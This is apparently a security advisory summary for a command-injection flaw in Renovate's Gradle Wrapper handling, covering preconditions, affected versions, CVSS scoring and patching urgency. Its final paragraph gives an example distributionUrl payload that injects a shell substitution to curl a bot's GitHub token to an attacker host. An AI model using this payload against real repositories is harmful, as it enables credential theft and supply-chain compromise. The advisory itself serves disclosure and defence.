Renovate CVE-2026-76228

The attacker must introduce a malicious gradle/wrapper/gradle-wrapper.properties file into a repository that the vulnerable Renovate instance is configured to scan. This can be achieved via direct repository write access (a collaborator or contributor role in the hosting platform), or by submitting a pull request that a repository maintainer merges without inspecting the Gradle Wrapper properties file. The Gradle Wrapper manager must be active for the target repository, which is Renovate's default behavior for repositories containing a Gradle Wrapper - no non-default configuration is required from the victim's side. Critically, the vulnerability fires even when allowScripts is set to false (the default), because the vulnerable shell invocation is internal to Renovate's artifact update logic and is not gated by the script-execution policy. Exploitation is scoped to Renovate versions >= 32.124.0 and < 42.68.5 and is limited only by the attacker's ability to introduce or modify the properties file; no authentication to the Renovate server itself is required, and Renovate processes the file automatically on its next scheduled scan cycle with no operator interaction needed.

The official CVSS 4.0 base score of 8.4 (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) assigns high privilege requirements and a local attack vector, reflecting the assessors' view that the attacker must hold repository write access and that exploitation occurs within the local Renovate execution environment. Real-world risk is materially higher than a bare CVSS reading suggests: even a mid-sized municipal IT team in sanok running Renovate over a mix of internal Gradle projects should treat this as urgent, because the Renovate process typically holds privileged GitHub or GitLab tokens with broad repository write rights plus access to CI/CD secret stores - meaning a single exploited repository can cascade into full bot-account compromise across all monitored projects. A PoC screen recording demonstrating credential-file exfiltration is included in the GHSA advisory, confirming practical exploitability. The allowScripts: false default does not mitigate the issue, undermining a control that administrators may have relied on. No EPSS score and no CISA KEV listing were provided in the intelligence data; active exploitation beyond the documented PoC is unconfirmed, but the low exploitation complexity (write to one file, then wait for Renovate's scheduled scan) and high post-exploitation value of the Renovate credential context argue for urgent patching despite the absence of confirmed in-the-wild abuse.

An attacker with write access to a repository monitored by a vulnerable Renovate instance modifies gradle/wrapper/gradle-wrapper.properties to set distributionUrl=https://$(curl -s https://attacker.example/exfil?t=$(cat /run/secrets/github_token)) or a similar payload. When Renovate's scheduled scan next runs and invokes the Gradle Wrapper manager, /bin/sh expands the $(...) substitution before passing the URL to Gradle, executing the curl command in the Renovate process context and exfiltrating the bot's GitHub token to the attacker's server; Gradle then raises URISyntaxException on the resulting garbled URL, but the damage is already done. A proof-of-concept screen recording demonstrating this technique to dump /etc/passwd is referenced in GHSA-pfq2-hh62-7m96, confirming end-to-end reproducibility.